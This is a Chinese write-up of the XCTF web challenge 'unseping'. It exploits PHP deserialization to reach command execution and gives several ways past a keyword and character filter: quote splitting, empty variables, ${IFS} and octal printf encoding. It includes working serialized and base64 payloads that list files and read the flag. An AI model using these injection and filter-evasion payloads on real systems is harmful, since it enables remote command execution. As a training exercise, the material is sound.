攻防世界unseping

感觉新手题里面最难的一题

----------------------------------------------------------------正文

原题:攻防世界

攻防世界unseping_第1张图片

这个题涉及的只是挺多的,不过主要就是正则表达式,php的反序列化

下面是代码分析环节:

攻防世界unseping_第2张图片 

因为涉及了php的序列化和反序列化,所以我们应该先看最下面的部分:将用base64解码后的变量序列化后用POST传参。 

然后是_consturuct函数,他是在函数调动前启用,为我们构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以我们把他放在后面。

ping函数(姑且怎么说)规定了我们可以调用系统命令。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

操作步骤:

根据代码我们需要将它补完整,即添加一个序列化。

攻防世界unseping_第3张图片

这串代码的意思为将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

因为ls会被过滤掉,在网上查了查发现三种方法能去点过滤:1空的环境变量 2单引号 3双引号

将变量b进行编码后的数字用POST方法传值给ctf后得到

攻防世界unseping_第4张图片 

成功看到有一个文件夹为flag_1s_here

我们再尝试用ls查看这个文件夹

因为空格也会被过滤,所以我们用${IFS}绕过。

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

输入后获得:

 我们看到了一个带有flag的php文件,最后我们用cat抓取这个文件的源码不出意外即可获得旗子

但这里有一个特别的点,就是代码会过滤掉/,而上面的三种方法都不适用于/。所以我们需要寻找一种新的方法:$(printf "\154\163")=ls。

这是我在其他大佬那里找到的,虽然不太清楚是什么,但貌似154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

得到:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
所以最终的结果为$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
进行base64编码后为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
用POST对ctf编码后得

攻防世界unseping_第5张图片

 

你可能感兴趣的:(学习,服务器,运维,php,安全)